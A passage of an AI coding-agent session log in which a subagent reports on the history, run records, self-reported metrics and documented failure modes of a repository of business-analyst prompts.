[STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:34.548Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:34.551Z] [STDOUT]   body: X {\n[2026-09-29T07:49:34.554Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:49:34.558Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:49:34.561Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:49:34.565Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:49:34.578Z] [STDOUT]     },\n[2026-09-29T07:49:34.583Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:49:34.588Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:49:34.591Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:49:34.598Z] [STDOUT]   },\n[2026-09-29T07:49:34.600Z] [STDOUT]   durationMs: 867,\n[2026-09-29T07:49:34.603Z] [STDOUT] }\n[2026-09-29T07:49:34.699Z] [INFO] {\n[2026-09-29T07:49:34.699Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:34.699Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:34.699Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:49:34.699Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:34.699Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:34.699Z] [INFO]   \"uuid\": \"11676da1-ccbf-47b9-8997-be37e7a7c6c5\"\n[2026-09-29T07:49:34.699Z] [INFO] }\n[2026-09-29T07:49:35.729Z] [INFO] {\n[2026-09-29T07:49:35.729Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:35.729Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:35.729Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:49:35.729Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:35.729Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:35.729Z] [INFO]   \"uuid\": \"c39e379a-3481-47f5-b5e9-50ae9b052d70\"\n[2026-09-29T07:49:35.729Z] [INFO] }\n[2026-09-29T07:49:36.880Z] [INFO] {\n[2026-09-29T07:49:36.880Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:36.880Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:36.880Z] [INFO]   \"estimated_tokens\": 300,\n[2026-09-29T07:49:36.880Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:36.880Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:36.880Z] [INFO]   \"uuid\": \"548daaec-4e42-436e-a881-f3cd2705a32a\"\n[2026-09-29T07:49:36.880Z] [INFO] }\n[2026-09-29T07:49:37.981Z] [INFO] {\n[2026-09-29T07:49:37.981Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:37.981Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:37.981Z] [INFO]   \"estimated_tokens\": 450,\n[2026-09-29T07:49:37.981Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:37.981Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:37.981Z] [INFO]   \"uuid\": \"b7b70279-7902-43b5-a3b2-a55341681486\"\n[2026-09-29T07:49:37.981Z] [INFO] }\n[2026-09-29T07:49:38.110Z] [INFO] {\n[2026-09-29T07:49:38.110Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"message\": {\n[2026-09-29T07:49:38.110Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:38.110Z] [INFO]     \"id\": \"msg_011CfXN2bzdbKt5w2oCHh5Mk\",\n[2026-09-29T07:49:38.110Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:38.110Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:38.110Z] [INFO]     \"content\": [\n[2026-09-29T07:49:38.110Z] [INFO]       {\n[2026-09-29T07:49:38.110Z] [INFO]         \"type\": \"text\",\n[2026-09-29T07:49:38.110Z] [INFO]         \"text\": \"I wrote the full report to `/tmp/research-notes/mango_ba_prompts.md` and changed nothing in the repo. Every number below comes from the repo's files or git history. Two points first: the repo has no record of GigaCode or Cline at all, and it says outright that it has no golden set or evals yet.\\n\\n## Repo basics\\n- **Default branch:** `main` (checked via origin/HEAD), so links take the form `https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/`.\\n- **Commits:** 583 in total (174 merges, 409 others), from 53506bc on 2026-06-02 (\\\"Add files via upload\\\", README only) to 317a0a1 on 2026-09-28. Activity came in two bursts: June (267 commits) and August (269).\\n- **Authors:** konard, the AI issue-solver bot that turns GitHub issues into PRs, made 442 commits; Ivan Gulienko made 140. About 76% of commits are AI-authored under human-written tasks.\\n- **Structure:** it started as a spoke of the Hub repo `G-Ivan-A/hybrid-Intelligence-lab`. Main folders are `prompts/` (26 files), `patterns/` (7), `standards/` (20), `docs/` (ADRs, RFCs, reports), `kb/`, `runs/` (697 files), `scripts/` (60 validators and generators), `experiments/` (101), a `site/` web app, and CI in `.github/workflows/validate.yml`. The knowledge base moved to the sister repo `G-Ivan-A/mango-ba-ai-runtime` (issue #361, 2026-09-26).\\n\\n## Runs (counted with `ls -d runs/2026/RUN-*`)\\n- **Count:** 69 run folders, RUN-0001 to RUN-0069 with no gaps; each has a `metadata.yaml`.\\n- **Record layout:** `metadata.yaml`, `inputs/`, `outputs/`, `feedback/`, `logs/` (defined in `standards/runs-contract-standard.md`). 56 runs include a metrics block.\\n- **Type:** 48 are statistics-only (chat sessions recorded after the fact) and 21 are execution runs.\\n- **Status:** 37 draft, 19 \\\"works with edits\\\", 8 partial success, and only 2 marked success (RUN-0006, RUN-0060). Of the rest, one needs rework (RUN-0020), one is experimental and one is invalid (RUN-0063, later redone).\\n- **Dates:** run dates span 2026-04-10 to 2026-09-28. Git history only starts 2026-06-02, so the early runs were recorded afterwards from chat exports. For example, 25 exports became RUN-0030 to RUN-0054 in one commit (946e605).\\n- **Models:**\\n  - Early runs used the Qwen family in a web chat (qwen3.5\u20133.8, qwen3-max, qwen3-235b and others).\\n  - Later runs used the AI solver: claude-opus-5 (7 runs), claude-opus-5-5 (2), gpt-5.6-sol (4).\\n  - 10 runs don't record a model.\\n- **Authorship label:** it shifts from \\\"BA/AI\\\" to \\\"BA-IH + LLM\\\" to \\\"AI issue solver \u2026 \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410\\\" (\\\"by the BA's task statement\\\").\\n- **Task categories:**\\n  - Prompt experiments and self-tests.\\n  - Generating and validating functional requirements (FRs) for BCREQ tickets and integrations: amoCRM, Bitrix24, 1C, OkDesk, BPMSoft, IVR, speech analytics, mTalker, e-mail, HH.ru.\\n  - Clarifying questions and meeting-transcript analysis.\\n  - Tender spec feasibility checks: Utair.Chat, STT/TTS/NLU, BCREQ-1114.\\n  - HH.ru \u2194 Mango contact-centre gap analysis (RUN-0056 to 0060).\\n  - Link-review statistics (RUN-0061).\\n\\n**Aggregated metrics.** These are self-reported by each run in its own format, so they are not a benchmark.\\n- 41 hallucinations were logged across 11 runs, and 12 of them ended up in the final artifacts.\\n- Where quality was scored (10 runs), it is 3 in every run except RUN-0028, which scored 2. RUN-0014 never produced its target artifact (5 defects, success rate 0.25).\\n- Success rate is recorded in 19 runs: average about 0.67, range 0.25\u20131.0.\\n- RUN-0013 alone: 75 of 121 answers (0.62) were accepted by the BA without edits; it used 79.4M input tokens over 242 turns and 44 days.\\n- Across the runs that record them: about 62.1M dialog tokens (33 runs), about 103.5 active hours (41 runs), 1,095 episodes (42 runs), 53 BA edits (10 runs).\\n- **Data quality problem:** RUN-0025's token numbers match RUN-0015's, so one was probably copied from the other. Don't quote those two runs' token figures without checking.\\n- **Later structured runs:**\\n  - RUN-0057: 101 requirements checked, 64 covered (0.63), 16 questions for the vendor.\\n  - RUN-0066: 386 requirements (338 yes / 34 partial / 14 no), 702 individual citations.\\n  - RUN-0068: 22 requirements (3 / 7 / 11 / 1 blank); spec rows checked character by character against a SHA-256-pinned transcription of the source screenshots.\\n\\n## How it evolved (git log)\\n1. **Jun 2\u20135, bootstrap:** moved out of the Hub.\\n2. **Jun 10\u201311, from one PDF to a standard:** a single prompt file, \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf\\\" (#54), was split into 23 standardized prompts (commit d8a4759, #56). A taxonomy of 13 cognitive operations \u00d7 9 BA processes followed (00d2072), plus prompt and pattern standards.\\n3. **Jun 13\u201316, method layer:** ADR-003 to ADR-010, including \\\"KB standard before RAG\\\" (ADR-007) and human gates (ADR-009, 1885f7d). **Turning point:** after the first real BA session (experiment 1027), prompt edits were rolled back to v0.1. From then on a prompt changes only via experiment \u2192 RFC \u2192 approval (2abf5e6, #101).\\n4. **Jun 17\u201320, infrastructure:** KB ingestion pipeline (#111), a CI regression validator, the `runs/` contract, and cascading context loading.\\n5. **Aug 17\u201322, measurement:** the vision was corrected to admit there are no evals (#263). RUN-0013 to 0029 were recorded in one day, followed by the metrics contract (#271), run types (#293), and a KB anti-hallucination cross-check (#310: 9,531 key tokens checked, 0 unconfirmed, plus a negative test).\\n6. **Aug 23\u201328, integration standard:** run templates as GitHub issue forms (#323). ADR-011 (1dcca69) introduced two output levels: L1 (one page for the customer) and L4 (detailed evidence for BA, SA and developers).\\n7. **Aug 31\u2013Sep 3, fail-closed citations and root-cause analysis:** a flawed run was reverted, page citations are now verified, and an A/B root-cause analysis was published (00295d5).\\n8. **Sep 26\u201328:** the KB moved to the runtime repo, and RUN-0068/0069 were checked against the source character by character.\\n\\n## Documented failure modes (strongest slide material)\\n- **A/B test on 65 identical rows** (`docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md`), gpt-5.6-sol (RUN-0065) vs claude-opus-5 (RUN-0066):\\n\\n  | Measure | RUN-0065 | RUN-0066 |\\n  |---|---|---|\\n  | Correct verdicts | 47.7% | 100% |\\n  | Correct page citations | 37.8% | 64/64 |\\n  | Hallucinated page numbers | 43.1% | 0% |\\n\\n  The cause was page numbers kept in a hand-made lookup table, while the validator only checked the link's format, not its content.\\n- **KB assessment error analysis** (issue #349): one run narrowed the source of truth to 3 modules and so reported \\\"missing data\\\" as \\\"missing capability\\\". In both flawed runs the validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\" (\\\"locked the error in\\\"). New rule: search the whole KB index first, then only trusted Mango web domains, and answer \\\"\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\\\" (\\\"no data\\\") only with an escalation log.\\n- **RUN-0064 error analysis:** 8 errors \u2014 3 contract violations, 2 missing contracts, 2 ambiguous prompts, 1 technical limit. Examples:\\n  - Features that already exist were written up as new requirements.\\n  - A hypothesis was presented as fact.\\n  - A screenshot showing \\\"\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV\\\" was ignored.\\n  - The run stopped at questions with no final FR.\\n\\n  Root cause: no gate between \\\"current state\\\" and \\\"required change\\\". Fix: a mandatory chain SSOT \u2192 current state \u2192 delta \u2192 FR \u2192 acceptance criterion, which blocks (fail-closed) when the source is empty.\\n- **Hallucinated standard:** \\\"\u0413\u041e\u0421\u0422 34.602-2015 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442\\\" (\\\"GOST 34.602-2015 does not exist\\\"), in `kb/practices/source-backed-analysis.md`.\\n- **Honest gap:** \\\"evals \u0438 golden-set \u043e\u0442\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u044e\u0442\\\" (\\\"evals and golden set are missing\\\"), in `README.md`, `ai-governance/ai-governance.md:90` and `pr-ops/BACKLOG.md:324`. Many runs are explicitly labelled \\\"\u043d\u0435 \u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f golden case\\\" (\\\"not a golden case\\\").\\n- **Governing rule:** every BA operation must have a checklist, an eval metric or a human gate; \\\"\u041e\u043f\u0435\u0440\u0430\u0446\u0438\u044f \u0431\u0435\u0437 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u0432\u0435\u0440\u0448\u0451\u043d\u043d\u043e\u0439\\\" (\\\"an operation without a verification process is considered incomplete\\\").\\n\\n## Target pipeline, mapped to repo artifacts\\n- **Normalizing input:** ADR-011 steps 1\u20132 (download the spec, record a checksum, split it into numbered sub-items with verbatim quotes). RUN-0068 adds a transcription file with SHA-256 per screenshot and a validator that fails on a single-character change.\\n- **Checking against documentation:** a citation format pinned to a specific KB commit, a quote checker (0 mismatches), and cross-checking PDF text extraction with two libraries.\\n- **Generating from templates with source links:** the 26 prompts and 7 patterns, whose frontmatter fixes temperature at 0.1. There is no formal golden set; instead some outputs are named as the reference (RUN-0060's L4 report is \\\"\u044d\u0442\u0430\u043b\u043e\u043d \u0444\u043e\u0440\u043c\u044b L4\\\", the reference form; RUN-0066 is the reference in the A/B study).\\n- **Human gate:** ADR-009 defines three gates \u2014 G1 (requirement structure), G2 (risk sign-off), G3 (approval and baselining) \u2014 and rule B3 says they \\\"\u041d\u0415 \u0414\u041e\u041b\u0416\u041d\u042b \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c\u0441\u044f \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0447\u0435\u0441\u043a\u0438 LLM\\\" (\\\"must not be passed automatically by an LLM\\\"). The quick rules state \\\"Structured = fail-closed \u2026 \u0437\u0430\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0435\u0442 human review\\\" (\\\"requests human review\\\"). RUN-0060 includes `human-review-checklist.md`.\\n- **Handing off to development:** ADR-011's L1 is one page for the customer (no JSON or API names allowed); L4 is for BA, SA and developers (JSON, diagrams, mappings). RUN-0060's L4 has 10 FR sections, 27 spec sub-items, 11 activity diagrams and 53 source footnotes. **I found no Jira or task-tracker export.**\\n\\n## Where it runs\\n- GigaCode and Cline appear nowhere in this repo, so their use can't be shown from it. Your working repo's backlog items B-219 to B-222 mention a GigaCode guide, but I didn't look into that.\\n- Early runs used the Qwen web chat: \\\"qwen3.7-plus \u2026 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\\\" in RUN-0014, and \\\"\u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0447\u0430\u0442 (Qwen, auto_search: true) \u0431\u0435\u0437 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0451\u043d\u043d\u043e\u0439 \u0411\u0417\\\" (\\\"external chat \u2026 with no KB connected\\\") in RUN-0018.\\n- Later runs used the GitHub issue \u2192 PR AI solver with Claude Code (RUN-0067) and OpenAI Codex (RUN-0064, redacted trace in `docs/report/evidence/`).\\n- Supporting tools: local Python validators, a Makefile, GitHub Actions CI, and a GitHub Pages site.\\n\\n## Not determined\\n- There are no evals or golden-set results anywhere to cite.\\n- Metrics are self-reported in mixed formats (quality appears to be on a 1\u20135 scale, but this isn't stated), so any cross-run average is only indicative.\"\n[2026-09-29T07:49:38.110Z] [INFO]       }\n[2026-09-29T07:49:38.110Z] [INFO]     ],\n[2026-09-29T07:49:38.110Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:38.110Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:38.110Z] [INFO]       \"cache_creation_input_tokens\": 7044,\n[2026-09-29T07:49:38.110Z] [INFO]       \"cache_read_input_tokens\": 21859,\n[2026-09-29T07:49:38.110Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:38.110Z] [INFO]         \"ephemeral_5m_input_tokens\": 7044,\n[2026-09-29T07:49:38.110Z] [INFO]         \"ephemeral_1h_input_tokens\": 0\n[2026-09-29T07:49:38.110Z] [INFO]       },\n[2026-09-29T07:49:38.110Z] [INFO]       \"output_tokens\": 3,\n[2026-09-29T07:49:38.110Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:38.110Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:38.110Z] [INFO]     },\n[2026-09-29T07:49:38.110Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:38.110Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:38.110Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:38.110Z] [INFO]   },\n[2026-09-29T07:49:38.110Z] [INFO]   \"parent_tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"uuid\": \"e62404fd-2569-429d-ad18-2e14a3f6cd58\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:38.103Z\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"request_id\": \"req_011CfXN2aZpWyfv3aX5Lqazv\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"subagent_type\": \"general-purpose\",\n[2026-09-29T07:49:38.110Z] [INFO]   \"task_description\": \"Analyze mango_ba_prompts history\"\n[2026-09-29T07:49:38.110Z] [INFO] }\n[2026-09-29T07:49:38.124Z] [INFO] {\n[2026-09-29T07:49:38.124Z] [INFO]   \"type\": \"rate_limit_event\",\n[2026-09-29T07:49:38.124Z] [INFO]   \"rate_limit_info\": {\n[2026-09-29T07:49:38.124Z] [INFO]     \"status\": \"allowed_warning\",\n[2026-09-29T07:49:38.124Z] [INFO]     \"resetsAt\": 1790679600,\n[2026-09-29T07:49:38.124Z] [INFO]     \"rateLimitType\": \"seven_day\",\n[2026-09-29T07:49:38.124Z] [INFO]     \"utilization\": 0.77,\n[2026-09-29T07:49:38.124Z] [INFO]     \"isUsingOverage\": false,\n[2026-09-29T07:49:38.124Z] [INFO]     \"surpassedThreshold\": 0.75,\n[2026-09-29T07:49:38.124Z] [INFO]     \"unifiedWindows\": {\n[2026-09-29T07:49:38.124Z] [INFO]       \"five_hour\": {\n[2026-09-29T07:49:38.124Z] [INFO]         \"utilization\": 0.38,\n[2026-09-29T07:49:38.124Z] [INFO]         \"resetsAt\": 1790678400\n[2026-09-29T07:49:38.124Z] [INFO]       },\n[2026-09-29T07:49:38.124Z] [INFO]       \"seven_day\": {\n[2026-09-29T07:49:38.124Z] [INFO]         \"utilization\": 0.77,\n[2026-09-29T07:49:38.124Z] [INFO]         \"resetsAt\": 1790679600\n[2026-09-29T07:49:38.124Z] [INFO]       }\n[2026-09-29T07:49:38.124Z] [INFO]     }\n[2026-09-29T07:49:38.124Z] [INFO]   },\n[2026-09-29T07:49:38.124Z] [INFO]   \"uuid\": \"71405d22-f657-4e82-9acc-5fc5925d1b34\",\n[2026-09-29T07:49:38.124Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:49:38.124Z] [INFO] }\n[2026-09-29T07:49:38.143Z] [INFO] {\n[2026-09-29T07:49:38.143Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:38.143Z] [INFO]   \"subtype\": \"background_tasks_changed\",\n[2026-09-29T07:49:38.143Z] [INFO]   \"tasks\": [\n[2026-09-29T07:49:38.143Z] [INFO]     {\n[2026-09-29T07:49:38.143Z] [INFO]       \"task_id\": \"a8223c4e8f50f54ab\",\n[2026-09-29T07:49:38.143Z] [INFO]       \"task_type\": \"local_agent\",\n[2026-09-29T07:49:38.143Z] [INFO]       \"description\": \"Analyze ba-requirements research\"\n[2026-09-29T07:49:38.143Z] [INFO]     }\n[2026-09-29T07:49:38.143Z] [INFO]   ],\n[2026-09-29T07:49:38.143Z] [INFO]   \"uuid\": \"de25faa2-f9eb-4362-b9e5-70eb13f1ac5a\",\n[2026-09-29T07:49:38.143Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:49:38.143Z] [INFO] }\n[2026-09-29T07:49:38.146Z] [INFO] {\n[2026-09-29T07:49:38.146Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:38.146Z] [INFO]   \"subtype\": \"task_updated\",\n[2026-09-29T07:49:38.146Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:49:38.146Z] [INFO]   \"patch\": {\n[2026-09-29T07:49:38.146Z] [INFO]     \"status\": \"completed\",\n[2026-09-29T07:49:38.146Z] [INFO]     \"end_time\": 1790668178137\n[2026-09-29T07:49:38.146Z] [INFO]   },\n[2026-09-29T07:49:38.146Z] [INFO]   \"uuid\": \"fd125a4b-e68a-450a-b672-bd4f49b91b35\",\n[2026-09-29T07:49:38.146Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\"\n[2026-09-29T07:49:38.146Z] [INFO] }\n[2026-09-29T07:49:38.155Z] [INFO] {\n[2026-09-29T07:49:38.155Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"subtype\": \"task_notification\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"task_id\": \"aadf7f40500b72ce3\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"tool_use_id\": \"toolu_01JewXpb827tP2A1Ev1oJ2Vd\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"status\": \"completed\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"output_file\": \"/tmp/claude-1001/-tmp-gh-issue-solver-1790667776920/f0ddf6ec-4316-44b3-b0ba-14367918e3de/tasks/aadf7f40500b72ce3.output\",\n[2026-09-29T07:49:38.155Z] [INFO]   \"summary\": \"I wrote the full report to `/tmp/research-notes/mango_ba_prompts.md` and changed nothing in the repo. Every number below comes from the repo's files or git history. Two points first: the repo has no record of GigaCode or Cline at all, and it says outright that it has no golden set or evals yet.\\n\\n## Repo basics\\n- **Default branch:** `main` (checked via origin/HEAD), so links take the form `https://github.com/G-Ivan-A/mango_ba_prompts/blob/main/`.\\n- **Commits:** 583 in total (174 merges, 409 others), from 53506bc on 2026-06-02 (\\\"Add files via upload\\\", README only) to 317a0a1 on 2026-09-28. Activity came in two bursts: June (267 commits) and August (269).\\n- **Authors:** konard, the AI issue-solver bot that turns GitHub issues into PRs, made 442 commits; Ivan Gulienko made 140. About 76% of commits are AI-authored under human-written tasks.\\n- **Structure:** it started as a spoke of the Hub repo `G-Ivan-A/hybrid-Intelligence-lab`. Main folders are `prompts/` (26 files), `patterns/` (7), `standards/` (20), `docs/` (ADRs, RFCs, reports), `kb/`, `runs/` (697 files), `scripts/` (60 validators and generators), `experiments/` (101), a `site/` web app, and CI in `.github/workflows/validate.yml`. The knowledge base moved to the sister repo `G-Ivan-A/mango-ba-ai-runtime` (issue #361, 2026-09-26).\\n\\n## Runs (counted with `ls -d runs/2026/RUN-*`)\\n- **Count:** 69 run folders, RUN-0001 to RUN-0069 with no gaps; each has a `metadata.yaml`.\\n- **Record layout:** `metadata.yaml`, `inputs/`, `outputs/`, `feedback/`, `logs/` (defined in `standards/runs-contract-standard.md`). 56 runs include a metrics block.\\n- **Type:** 48 are statistics-only (chat sessions recorded after the fact) and 21 are execution runs.\\n- **Status:** 37 draft, 19 \\\"works with edits\\\", 8 partial success, and only 2 marked success (RUN-0006, RUN-0060). Of the rest, one needs rework (RUN-0020), one is experimental and one is invalid (RUN-0063, later redone).\\n- **Dates:** run dates span 2026-04-10 to 2026-09-28. Git history only starts 2026-06-02, so the early runs were recorded afterwards from chat exports. For example, 25 exports became RUN-0030 to RUN-0054 in one commit (946e605).\\n- **Models:**\\n  - Early runs used the Qwen family in a web chat (qwen3.5\u20133.8, qwen3-max, qwen3-235b and others).\\n  - Later runs used the AI solver: claude-opus-5 (7 runs), claude-opus-5-5 (2), gpt-5.6-sol (4).\\n  - 10 runs don't record a model.\\n- **Authorship label:** it shifts from \\\"BA/AI\\\" to \\\"BA-IH + LLM\\\" to \\\"AI issue solver \u2026 \u043f\u043e \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0435 \u0411\u0410\\\" (\\\"by the BA's task statement\\\").\\n- **Task categories:**\\n  - Prompt experiments and self-tests.\\n  - Generating and validating functional requirements (FRs) for BCREQ tickets and integrations: amoCRM, Bitrix24, 1C, OkDesk, BPMSoft, IVR, speech analytics, mTalker, e-mail, HH.ru.\\n  - Clarifying questions and meeting-transcript analysis.\\n  - Tender spec feasibility checks: Utair.Chat, STT/TTS/NLU, BCREQ-1114.\\n  - HH.ru \u2194 Mango contact-centre gap analysis (RUN-0056 to 0060).\\n  - Link-review statistics (RUN-0061).\\n\\n**Aggregated metrics.** These are self-reported by each run in its own format, so they are not a benchmark.\\n- 41 hallucinations were logged across 11 runs, and 12 of them ended up in the final artifacts.\\n- Where quality was scored (10 runs), it is 3 in every run except RUN-0028, which scored 2. RUN-0014 never produced its target artifact (5 defects, success rate 0.25).\\n- Success rate is recorded in 19 runs: average about 0.67, range 0.25\u20131.0.\\n- RUN-0013 alone: 75 of 121 answers (0.62) were accepted by the BA without edits; it used 79.4M input tokens over 242 turns and 44 days.\\n- Across the runs that record them: about 62.1M dialog tokens (33 runs), about 103.5 active hours (41 runs), 1,095 episodes (42 runs), 53 BA edits (10 runs).\\n- **Data quality problem:** RUN-0025's token numbers match RUN-0015's, so one was probably copied from the other. Don't quote those two runs' token figures without checking.\\n- **Later structured runs:**\\n  - RUN-0057: 101 requirements checked, 64 covered (0.63), 16 questions for the vendor.\\n  - RUN-0066: 386 requirements (338 yes / 34 partial / 14 no), 702 individual citations.\\n  - RUN-0068: 22 requirements (3 / 7 / 11 / 1 blank); spec rows checked character by character against a SHA-256-pinned transcription of the source screenshots.\\n\\n## How it evolved (git log)\\n1. **Jun 2\u20135, bootstrap:** moved out of the Hub.\\n2. **Jun 10\u201311, from one PDF to a standard:** a single prompt file, \\\"\u041f\u0440\u043e\u043c\u043f\u0442+\u0434\u043b\u044f+\u0411\u0410 (1).pdf\\\" (#54), was split into 23 standardized prompts (commit d8a4759, #56). A taxonomy of 13 cognitive operations \u00d7 9 BA processes followed (00d2072), plus prompt and pattern standards.\\n3. **Jun 13\u201316, method layer:** ADR-003 to ADR-010, including \\\"KB standard before RAG\\\" (ADR-007) and human gates (ADR-009, 1885f7d). **Turning point:** after the first real BA session (experiment 1027), prompt edits were rolled back to v0.1. From then on a prompt changes only via experiment \u2192 RFC \u2192 approval (2abf5e6, #101).\\n4. **Jun 17\u201320, infrastructure:** KB ingestion pipeline (#111), a CI regression validator, the `runs/` contract, and cascading context loading.\\n5. **Aug 17\u201322, measurement:** the vision was corrected to admit there are no evals (#263). RUN-0013 to 0029 were recorded in one day, followed by the metrics contract (#271), run types (#293), and a KB anti-hallucination cross-check (#310: 9,531 key tokens checked, 0 unconfirmed, plus a negative test).\\n6. **Aug 23\u201328, integration standard:** run templates as GitHub issue forms (#323). ADR-011 (1dcca69) introduced two output levels: L1 (one page for the customer) and L4 (detailed evidence for BA, SA and developers).\\n7. **Aug 31\u2013Sep 3, fail-closed citations and root-cause analysis:** a flawed run was reverted, page citations are now verified, and an A/B root-cause analysis was published (00295d5).\\n8. **Sep 26\u201328:** the KB moved to the runtime repo, and RUN-0068/0069 were checked against the source character by character.\\n\\n## Documented failure modes (strongest slide material)\\n- **A/B test on 65 identical rows** (`docs/report/2026-09-01-run-0065-vs-0066-ab-rca.md`), gpt-5.6-sol (RUN-0065) vs claude-opus-5 (RUN-0066):\\n\\n  | Measure | RUN-0065 | RUN-0066 |\\n  |---|---|---|\\n  | Correct verdicts | 47.7% | 100% |\\n  | Correct page citations | 37.8% | 64/64 |\\n  | Hallucinated page numbers | 43.1% | 0% |\\n\\n  The cause was page numbers kept in a hand-made lookup table, while the validator only checked the link's format, not its content.\\n- **KB assessment error analysis** (issue #349): one run narrowed the source of truth to 3 modules and so reported \\\"missing data\\\" as \\\"missing capability\\\". In both flawed runs the validators \\\"\u0437\u0430\u043a\u0440\u0435\u043f\u0438\u043b\u0438 \u043e\u0448\u0438\u0431\u043a\u0443\\\" (\\\"locked the error in\\\"). New rule: search the whole KB index first, then only trusted Mango web domains, and answer \\\"\u041d\u0435\u0442 \u0434\u0430\u043d\u043d\u044b\u0445\\\" (\\\"no data\\\") only with an escalation log.\\n- **RUN-0064 error analysis:** 8 errors \u2014 3 contract violations, 2 missing contracts, 2 ambiguous prompts, 1 technical limit. Examples:\\n  - Features that already exist were written up as new requirements.\\n  - A hypothesis was presented as fact.\\n  - A screenshot showing \\\"\u0421\u043a\u0430\u0447\u0430\u0442\u044c: CSV\\\" was ignored.\\n  - The run stopped at questions with no final FR.\\n\\n  Root cause: no gate between \\\"current state\\\" and \\\"required change\\\". Fix: a mandatory chain SSOT \u2192 current state 